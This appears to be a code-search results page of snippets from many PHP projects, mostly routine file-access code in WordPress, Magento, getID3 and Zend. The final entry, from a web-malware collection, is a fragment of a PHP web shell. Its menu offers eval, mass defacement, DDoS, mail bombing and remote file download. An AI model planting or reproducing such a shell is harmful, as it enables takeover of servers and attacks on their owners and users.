20} 21// Workaround Bug #39923 (https://bugs.php.net/bug.php?id=39923) 22if (!defined('IMG_JPG') && defined('IMAGETYPE_JPEG')) { 134 } elseif ($this->memory_limit <= 12582912) { 135 $this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'; 136 } 262 // open local file 263 //if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see http://www.getid3.org/phpBB3/viewtopic.php?t=1720 264 if ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { 309 fclose($this->fp); 310 throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize, 3).'GB, please report to info@getid3.org'); 311 } 312 $this->info['filesize'] = $real_filesize; 313 $this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize, 3).'GB) and is not properly supported by PHP.'); 314 }class-wp-theme.php https://gitlab.com/hotrainer/zarmani | PHP | 1373 lines
1<?php 2/** 205 if ( ! isset( self::$persistently_cache ) ) { 206 /** This action is documented in wp-includes/theme.php */ 207 self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' ); 250 return; 251 } elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) { 252 $this->headers['Name'] = $this->stylesheet; 269 $this->template = $this->stylesheet; 270 if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) { 271 $error_message = sprintf( 271 $error_message = sprintf( 272 /* translators: 1: index.php, 2: Codex URL, 3: style.css */ 273 __( 'Template is missing. Standalone themes need to have a %1$s template file. <a href="%2$s">Child themes</a> need to have a Template header in the %3$s stylesheet.' ), 273 __( 'Template is missing. Standalone themes need to have a %1$s template file. <a href="%2$s">Child themes</a> need to have a Template header in the %3$s stylesheet.' ), 274 '<code>index.php</code>', 275 __( 'https://codex.wordpress.org/Child_Themes' ),dialog.php https://gitlab.com/ivandevp/petshop | PHP | 1225 lines
1<?php 2include('config/config.php'); 6if (isset($_POST['submit'])) { 7 include('upload.php'); 8} else { 8} else { 9 include('include/utils.php'); 10 82 } 83 if (file_exists($current_path.$parent.'config.php')) { 84 require_once($current_path.$parent.'config.php'); 147 148 $language_file = 'lang/'.$default_language.'.php'; 149 if ($lang != $default_language) { 150 $path_parts = pathinfo($lang); 151 if (is_readable('lang/'.$path_parts['basename'].'.php')) { 152 $language_file = 'lang/'.$path_parts['basename'].'.php';Ftp.php https://gitlab.com/daigiangaitu91/magento | PHP | 493 lines
1<?php 2/** 228 } 229 if (!is_readable($local)) { 230 throw new \Exception("Local file is not readable: {$local}"); 337 * @return bool 338 * @SuppressWarnings(PHPMD.BooleanGetMethodName) 339 */ 427 /** 428 * Get directory contents in PHP array 429 * 432 * @return array 433 * @SuppressWarnings(PHPMD.ShortMethodName) 434 */worksheet.md https://gitlab.com/jafar70/205CDE | Markdown | 330 lines
128 129PHP allows access to resources on the server. One such a resource is the files on the server. PHP has powerful and fairly easy to use file related functions. 130Below is a table containing some useful I/O related functions. 264 <li> 265 <a href=<?php echo "http://$server/REST_Client.php?action=get_app&id=" . $app["id"] ?> alt=<?php echo "app_" . $app["id"] ?>><?php echo $app["name"] ?></a> 266 </li> 308 309Further reading: [PHP home page][PHP] 310 310 311[PHP]: http://php.net/manual/en/ 312[RESTAPI]: http://blog.ijasoneverett.com/2013/02/rest-api-a-simple-php-tutorial/ 315 316It is good to be able reed some data when doing these exercises. There are two small php-scrits (Showform.php, getInput.php) included, which can be useful. Feel free to use them if you like. 317theme-tools.php https://gitlab.com/endomorphosis/falkenstein | PHP | 119 lines
1<?php 2/* 4 * This file is special, and is not an actual `module` as such. 5 * It is included by ./module-extras.php 6 */ 9 if ( current_theme_supports( 'social-links' ) ) { 10 require_once( JETPACK__PLUGIN_DIR . 'modules/theme-tools/social-links.php' ); 11 } 16 17 require_once( JETPACK__PLUGIN_DIR . 'modules/theme-tools/random-redirect.php' ); 18} 24// with the same class name in an attempt to override Jetpack's Featured_Content 25if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) { 26 require_once( JETPACK__PLUGIN_DIR . 'modules/theme-tools/featured-content.php' ); 49 50 $customization_file = apply_filters( 'infinite_scroll_customization_file', dirname( __FILE__ ) . "/infinite-scroll/themes/{$theme['Stylesheet']}.php", $theme['Stylesheet'] ); 51class-wp-filesystem-ftpsockets.php https://gitlab.com/Henaway/CLFC | PHP | 352 lines
1<?php 2/** 26 // Check if possible to use ftp functions. 27 if ( ! @include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) { 28 return false; 254 255 public function is_readable($file) { 256 return true;class-wp-filesystem-ftpext.php https://gitlab.com/Henaway/CLFC | PHP | 415 lines
1<?php 2/** 27 if ( ! extension_loaded('ftp') ) { 28 $this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available')); 29 return false; 245 246 public function is_readable($file) { 247 return true;FsExplorer.class.php https://gitlab.com/endomorphosis/jeffersonsmithmayor | PHP | 297 lines
1<?php 2/** 21 22class_exists('org_tubepress_impl_classloader_ClassLoader') || require dirname(__FILE__) . '/../classloader/ClassLoader.class.php'; 23org_tubepress_impl_classloader_ClassLoader::loadClasses(array( 187 188 if (!is_readable($source)) { 189 201 202 if (!is_readable($dest)) { 203helper_dir.php https://gitlab.com/AhmedMedo/Seo | PHP | 158 lines
1<?php 2 18 19/** Checks if the given directory is really writable. The standard PHP 20 * function is_writable() does not work properly on Windows servers 101 102 if (!is_dir($dir) || !is_readable($dir)) 103 return false; 104 105 if (strtoupper(substr(PHP_OS, 0, 3)) == "WIN") 106 $dir = str_replace("\\", "/", $dir);API.php git://github.com/matthiasplappert/CloudApp-API-PHP-wrapper.git | PHP | 363 lines
1<?php 2 34/** 35 * Cloud_API is a simple PHP wrapper for the CloudApp API using cURL. 36 * 60 */ 61 private $_user_agent = 'Cloud API PHP wrapper'; 62 187 // Check if file is readable 188 if (!is_readable($path)) { 189 throw new Exception('File at path \'' . $path . '\' isn\'t readable', CLOUD_EXCEPTION_FILE_NOT_READABLE); 209 // Parse location 210 $query = parse_url($location, PHP_URL_QUERY); 211 $query_parts = explode('&', $query);Ftp.php https://gitlab.com/blingbang2016/shop | PHP | 509 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 246 } 247 if(!is_readable($local)) { 248 throw new Exception("Local file is not readable: {$localFile}"); 444 /** 445 * Get directory contents in PHP array 446 *Runtime.php https://gitlab.com/daigiangaitu91/magento | PHP | 192 lines
24 * Returns true when Xdebug is supported or 25 * the runtime used is PHPDBG (PHP >= 7.0). 26 * 75 $possibleBinaryLocations = array( 76 PHP_BINDIR . '/php', 77 PHP_BINDIR . '/php-cli.exe', 178 { 179 return PHP_SAPI === 'phpdbg' && !$this->isHHVM(); 180 } 183 * Returns true when the runtime used is PHP with the PHPDBG SAPI 184 * and the phpdbg_*_oplog() functions are available (PHP >= 7.0). 185 * 189 { 190 return $this->isPHPDBG() && function_exists('phpdbg_start_oplog'); 191 }class-wp-filesystem-ftpext.php https://gitlab.com/hop23typhu/list-theme | PHP | 513 lines
1<?php 2/** 25 if ( ! extension_loaded('ftp') ) { 26 $this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available')); 27 return; 309 */ 310 public function is_readable($file) { 311 return true;Cache.php git://github.com/eryx/php-framework-benchmark.git | PHP | 261 lines
1<?php 2/** 242 * Returns TRUE if the $filename is readable, or FALSE otherwise. 243 * This function uses the PHP include_path, where PHP's is_readable() 244 * does not.editor.class.php https://gitlab.com/imxieke/XCloud | PHP | 123 lines
1<?php 2/* 16 public function index(){ 17 $this->display('editor.php'); 18 } 21 $this->assign('editor_config',$this->getConfig());//获取编辑器配置信息 22 $this->display('edit.php'); 23 } 27 $filename=_DIR($this->in['filename']); 28 if (!is_readable($filename)) show_json($this->L['no_permission_read'],false); 29 if (filesize($filename) >= 1024*1024*20) show_json($this->L['edit_too_big'],false); 71 ); 72 $config_file = USER.'data/editor_config.php'; 73 if (!file_exists($config_file)) {//不存在则创建 88 public function setConfig(){ 89 $file = USER.'data/editor_config.php'; 90 if (!is_writeable($file)) {//配置不可写updraftplus-commands.php https://gitlab.com/meixnertobias/thaimaidaiproductionwp | PHP | 339 lines
1<?php 2 12 13if (!class_exists('UpdraftCentral_Commands')) require_once('commands.php'); 14 104 private function _load_ud_admin() { 105 if (!defined('UPDRAFTPLUS_DIR') || !is_file(UPDRAFTPLUS_DIR.'/admin.php')) return false; 106 require_once(UPDRAFTPLUS_DIR.'/admin.php'); 121 122 if (is_readable($log_file)) { 123 return $this->_response(array('log' => file_get_contents($log_file))); 217 private function _get_vault() { 218 require_once(UPDRAFTPLUS_DIR.'/methods/updraftvault.php'); 219 $vault = new UpdraftPlus_BackupModule_updraftvault();Ftp.php https://gitlab.com/blingbang2016/shop | PHP | 327 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 247 { 248 if (is_string($src) && is_readable($src)) { 249 return @ftp_put($this->_conn, $filename, $src, $this->_config['file_mode']);zend_accelerator_module.c git://github.com/php/php-src.git | C | 864 lines
199 STD_PHP_INI_BOOLEAN("opcache.use_cwd" , "1", PHP_INI_SYSTEM, OnUpdateBool, accel_directives.use_cwd , zend_accel_globals, accel_globals) 200 STD_PHP_INI_BOOLEAN("opcache.validate_timestamps", "1", PHP_INI_ALL , OnUpdateBool, accel_directives.validate_timestamps, zend_accel_globals, accel_globals) 201 STD_PHP_INI_BOOLEAN("opcache.validate_permission", "0", PHP_INI_SYSTEM, OnUpdateBool, accel_directives.validate_permission, zend_accel_globals, accel_globals) 202#ifndef ZEND_WIN32 203 STD_PHP_INI_BOOLEAN("opcache.validate_root" , "0", PHP_INI_SYSTEM, OnUpdateBool, accel_directives.validate_root , zend_accel_globals, accel_globals) 204#endif 220 221 STD_PHP_INI_ENTRY("opcache.protect_memory" , "0" , PHP_INI_SYSTEM, OnUpdateBool, accel_directives.protect_memory, zend_accel_globals, accel_globals) 222 STD_PHP_INI_ENTRY("opcache.save_comments" , "1" , PHP_INI_SYSTEM, OnUpdateBool, accel_directives.save_comments, zend_accel_globals, accel_globals) 223 224 STD_PHP_INI_ENTRY("opcache.optimization_level" , DEFAULT_OPTIMIZATION_LEVEL , PHP_INI_SYSTEM, OnUpdateLong, accel_directives.optimization_level, zend_accel_globals, accel_globals) 225 STD_PHP_INI_ENTRY("opcache.opt_debug_level" , "0" , PHP_INI_SYSTEM, OnUpdateLong, accel_directives.opt_debug_level, zend_accel_globals, accel_globals) 256 STD_PHP_INI_ENTRY("opcache.jit_debug" , "0" , PHP_INI_SYSTEM, OnUpdateLong, accel_directives.jit_debug, zend_accel_globals, accel_globals) 257 STD_PHP_INI_ENTRY("opcache.jit_bisect_limit" , "0" , PHP_INI_SYSTEM, OnUpdateLong, accel_directives.jit_bisect_limit, zend_accel_globals, accel_globals) 258#endifscanner.php git://github.com/moodle/moodle.git | PHP | 427 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 66 public function scan_file($file, $filename) { 67 if (!is_readable($file)) { 68 // This should not happen.getid3.php git://github.com/wordpress/wordpress.git | PHP | 2190 lines
263 if (version_compare(PHP_VERSION, $required_php_version, '<')) { 264 $this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n"; 265 return; 281 } elseif ($this->memory_limit <= 4194304) { 282 $this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n"; 283 } elseif ($this->memory_limit <= 12582912) { 295 // getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those. 296 $this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n"; // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated 297 } 308 if (function_exists('get_magic_quotes_gpc')) { 309 if (get_magic_quotes_gpc()) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.get_magic_quotes_gpcDeprecated 310 $this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n"; 438 // open local file 439 //if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720 440 if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) {class-wp-theme.php git://github.com/wordpress/wordpress.git | PHP | 1672 lines
1<?php 2/** 24 * @since 3.4.0 25 * @since 5.4.0 Added `Requires at least` and `Requires PHP` headers. 26 * @var array 40 'RequiresWP' => 'Requires at least', 41 'RequiresPHP' => 'Requires PHP', 42 ); 192 if ( ! isset( self::$persistently_cache ) ) { 193 /** This action is documented in wp-includes/theme.php */ 194 self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' ); 260 return; 261 } elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) { 262 $this->headers['Name'] = $this->stylesheet; 314 $this->template = $this->stylesheet; 315 if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) { 316 $error_message = sprintf(class-wp-filesystem-direct.php git://github.com/wordpress/wordpress.git | PHP | 620 lines
1<?php 2/** 9/** 10 * WordPress Filesystem Class for direct PHP file and folder manipulation. 11 * 406 */ 407 public function is_readable( $file ) { 408 return @is_readable( $file ); 497 public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) { 498 // Safe mode fails with a trailing slash under certain PHP versions. 499 $path = untrailingslashit( $path );class-wp-filesystem-ftpext.php git://github.com/wordpress/wordpress.git | PHP | 738 lines
1<?php 2/** 36 if ( ! extension_loaded( 'ftp' ) ) { 37 $this->errors->add( 'no_ftp_ext', __( 'The ftp PHP extension is not available' ) ); 38 return; 447 */ 448 public function is_readable( $file ) { 449 return true;class-wp-filesystem-ftpsockets.php git://github.com/wordpress/wordpress.git | PHP | 662 lines
1<?php 2/** 35 // Check if possible to use ftp functions. 36 if ( ! include_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) { 37 return; 457 */ 458 public function is_readable( $file ) { 459 return true;update.php git://github.com/jquery/testswarm.git | PHP | 477 lines
1<?php 2/** 9define( 'SWARM_ENTRY', 'SCRIPT' ); 10require_once __DIR__ . '/../inc/init.php'; 11 31 $currentVersionFile = "$swarmInstallDir/config/version.ini"; 32 if ( !is_readable( $currentVersionFile ) ) { 33 throw new SwarmException( 'version.ini is missing or unreadable.' ); 130 // https://dev.mysql.com/doc/internals/en/myisam-column-attributes.html 131 // https://secure.php.net/mysqli_fetch_field_direct#85771 132 && $clients_useragent_id->type === $mysql_type_varchar 196 $fullSchemaFile = "$swarmInstallDir/config/tables.sql"; 197 if ( !is_readable( $fullSchemaFile ) ) { 198 $this->error( 'Can\'t read schema file' ); 365 if ( !trim( $userRow->seed ) || !trim( $userRow->password ) || !trim( $userRow->auth ) ) { 366 // Client.php used to create rows in the users table with blanks 367 // in these "required" fields. MySQL expands the emptyness to the fullTwitterOAuth.php git://github.com/abraham/twitteroauth.git | PHP | 764 lines
1<?php 2 3/** 4 * The most popular PHP library for use with the Twitter OAuth REST API. 5 * 329 if ( 330 !is_readable($parameters['media']) || 331 ($file = file_get_contents($parameters['media'])) === false 434 foreach ($parameters as $key => $value) { 435 // PHP coerces `true` to `"1"` which some Twitter APIs don't like. 436 if (is_bool($value)) {Files.class.php https://gitlab.com/karl3/gs_libs | PHP | 1019 lines
1<?php 2 21 * - fread - Binary-safe file read 22 * - is_readable - Tells whether the filename is readable 23 * - is_writable - Tells whether the filename is writable 55 ///////////////////////////////////////////////////////////////////////////////////////// 56 // The first section of this file contains improvements upon existing PHP functionality 57 // such as adding debugging, or adding a layer of safety to the existing functionality 122 /** 123 * provides improved functionality to PHP's native file_get_contents function 124 * 147 /** 148 * provides improved functionality to PHP's native file_put_contents function 149 *browser.php https://gitlab.com/devtoannh/cafe | PHP | 873 lines
1<?php 2 9 * @copyright 2010, 2011 KCFinder Project 10 * @license http://www.opensource.org/licenses/gpl-2.0.php GPLv2 11 * @license http://www.opensource.org/licenses/lgpl-2.1.php LGPLv2 40 41 !is_readable($thumbsDir) || 42 !dir::isWritable($thumbsDir) || 96 $dir = $this->config['uploadDir'] . "/" . $this->session['dir']; 97 if (($type != $this->type) || !is_dir($dir) || !is_readable($dir)) 98 $this->session['dir'] = $this->type; 119 is_dir("{$this->typeDir}/{$this->get['dir']}") && 120 is_readable("{$this->typeDir}/{$this->get['dir']}") 121 ) 149 $file = "{$this->thumbsDir}/{$this->type}/{$this->get['dir']}/$file"; 150 if (!is_file($file) || !is_readable($file)) { 151 $file = "{$this->config['uploadDir']}/{$this->type}/{$this->get['dir']}/" . basename($file);utils.php https://gitlab.com/devtoannh/cafe | PHP | 1039 lines
1<?php 2 7 8require dirname(__FILE__) . '/Response.php'; 9 33 || file_exists($_SESSION['RF']['language_file']) === false 34 || ! is_readable($_SESSION['RF']['language_file']) 35 ) 44 45 $language_file = dirname(dirname(__FILE__)) . '/lang/' . $default_language . '.php'; 46 if ($lang != $default_language) 49 50 if (is_readable(dirname(dirname(__FILE__)) . '/lang/' . $path_parts['basename'] . '.php')) 51 { 213 { 214 require_once('php_image_magician.php'); 215 $magicianObj = new imageLib($imgfile);MailMerge.php https://gitlab.com/devtoannh/cafe | PHP | 1138 lines
1<?php 2/** 19 * @license http://framework.zend.com/license/new-bsd New BSD License 20 * @version $Id: MailMerge.php 23775 2011-03-01 17:25:24Z ralph $ 21 */ 23/** Zend_Date **/ 24require_once 'Zend/Date.php'; 25 26/** Zend_Service_LiveDocx **/ 27require_once 'Zend/Service/LiveDocx.php'; 28 88 { 89 if (!is_readable($filename)) { 90 throw new Zend_Service_LiveDocx_Exception( 102 } catch (Exception $e) { 103 require_once 'Zend/Service/LiveDocx/Exception.php'; 104 throw new Zend_Service_LiveDocx_Exception(SlideShare.php https://gitlab.com/devtoannh/cafe | PHP | 619 lines
1<?php 2/** 19 * @license http://framework.zend.com/license/new-bsd New BSD License 20 * @version $Id: SlideShare.php 23775 2011-03-01 17:25:24Z ralph $ 21 */ 25 */ 26require_once 'Zend/Http/Client.php'; 27 30 */ 31require_once 'Zend/Cache.php'; 32 35 */ 36require_once 'Zend/Service/SlideShare/SlideShow.php'; 37 324 325 if(!file_exists($filename) || !is_readable($filename)) { 326 require_once 'Zend/Service/SlideShare/Exception.php';InfoCard.php https://gitlab.com/devtoannh/cafe | PHP | 497 lines
1<?php 2/** 18 * @license http://framework.zend.com/license/new-bsd New BSD License 19 * @version $Id: InfoCard.php 23775 2011-03-01 17:25:24Z ralph $ 20 */ 24 */ 25require_once 'Zend/InfoCard/Xml/EncryptedData.php'; 26 29 */ 30require_once 'Zend/InfoCard/Xml/Assertion.php'; 31 34 */ 35require_once 'Zend/InfoCard/Cipher.php'; 36 39 */ 40require_once 'Zend/InfoCard/Xml/Security.php'; 41customize_style.php https://gitlab.com/meixnertobias/thaimaidaiproductionwp | PHP | 521 lines
344 ( 345 jQuery('#customize-control-settings-<?php echo esc_attr($control['name']); ?>').find('.color-picker-hex.wp-color-picker').val()<?php if($check_to_lower){ ?>.toLowerCase() <?php } printf("%s",$comparse); ?> '<?php printf("%s",$value_logics_or_out_items); ?>' 346 ) 352 ( 353 jQuery('#customize-control-settings-<?php echo esc_attr($control['name']); ?>').find('.color-picker-hex.wp-color-picker').val()<?php if($check_to_lower){ ?>.toLowerCase() <?php } printf("%s",$comparse); ?> '<?php printf("%s",$value_logics_and_out_items); ?>' 354 ) 366 ( 367 jQuery('#customize-control-settings-<?php echo esc_attr($control['name']); ?>.customize-control-image').find('img').val()<?php if($check_to_lower){ ?>.toLowerCase() <?php } printf("%s",$comparse); ?> '<?php printf("%s",$value_logics_or_out_items); ?>' 368 ) 374 ( 375 jQuery('#customize-control-settings-<?php echo esc_attr($control['name']); ?>.customize-control-image').find('img').val()<?php if($check_to_lower){ ?>.toLowerCase() <?php } printf("%s",$comparse); ?> '<?php printf("%s",$value_logics_and_out_items); ?>' 376 ) 388 ( 389 jQuery('*[data-customize-setting-link="<?php echo esc_attr($key_logic); ?>"]:checked').val()<?php if($check_to_lower){ ?>.toLowerCase() <?php } printf("%s",$comparse); ?> '<?php printf("%s",$value_logics_or_out_items); ?>' 390 )download.class.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 546 lines
1<?php 2 28/** 29 * include("download.class.php"); // load the class file 30 150 { 151 if ( empty( $path ) or ! is_readable( $path ) or ! is_file( $path ) ) 152 { 236 { 237 if ( substr( PHP_OS, 0, 3 ) == 'WIN' ) 238 { 271 { 272 if ( substr( PHP_OS, 0, 3 ) != 'WIN' ) 273 {image.class.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 878 lines
1<?php 2 11 * if(!file_exists(NV_ROOTDIR."/uploads/1237974658.jpg")) { 12 * @require_once(NV_ROOTDIR."/includes/class/image.class.php"); 13 * $image = new image(NV_ROOTDIR."/images/logo.png", $max_width,$max_height); 29 30if ( defined( 'NV_CLASS_IMAGE_PHP' ) ) return; 31define( 'NV_CLASS_IMAGE_PHP', true ); 234 if ( $this->fileinfo == array() ) return ERROR_IMAGE1; 235 if ( ! is_readable( $this->filename ) ) return ERROR_IMAGE2; 236 if ( $this->fileinfo['src'] == '' || $this->fileinfo['width'] == 0 || $this->fileinfo['height'] == 0 || $this->fileinfo['mime'] == '' ) return ERROR_IMAGE3;filesystem_functions.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 859 lines
1<?php 2 22 23 if ( ! file_exists( $filename ) || ! is_readable( $filename ) ) return false; 24demo.browse.php http://phpvideotoolkit.googlecode.com/svn/trunk/ | PHP | 669 lines
1<?php 2///////////////////////////////////////////////////////////////// 7// // 8// /demo/demo.browse.php - part of getID3() // 9// Sample script for browsing/scanning files and displaying // 28if (@$_REQUEST['showfile']) { 29 if (is_readable($_REQUEST['showfile'])) { 30 if (md5_file($_REQUEST['showfile']) == @$_REQUEST['md5']) { 49 50$writescriptfilename = 'demo.write.php'; 51 51 52require_once('../getid3/getid3.php'); 53 75echo '<html><head>'; 76echo '<title>getID3() - /demo/demo.browse.php (sample script)</title>'; 77echo '<style>BODY,TD,TH { font-family: sans-serif; font-size: 9pt; }</style>';itsecteam_shell.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1284 lines
1<?php 2session_start(); 21$basep=$_SERVER['DOCUMENT_ROOT']; 22if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ 23$slash="\\"; 32if ($_REQUEST['address']){ 33if(is_readable($_REQUEST['address'])){ 34chdir($_REQUEST['address']);}else{ 35alert("Permission Denied !");}} 36$me=$_SERVER['PHP_SELF']; 37$formp="<form method=post action='".$me."'>"; 79<a href="?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'"> 80Eval Php</a> -- <a href="?do=db&address='.getcwd().'">Data Base</a> -- <a href="?do=convert&address='.getcwd().'">Convert</a> -- <a href="?do=mail&address='.getcwd().'">Mail Boomber</a><a href="?do=info&address='.getcwd().'"> 81<br>Server Information</a> -- <a href="?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="?do=apache&address='.getcwd().'">Server</a> -- <a href="?do=remove&address='.getcwd().'">Remove Me</a> -- <a href="?do=about&address='.getcwd().'">About</a> 88height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center"> 89Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);" 90width="950" bgcolor="#e7e3de" height="10" valign="top">';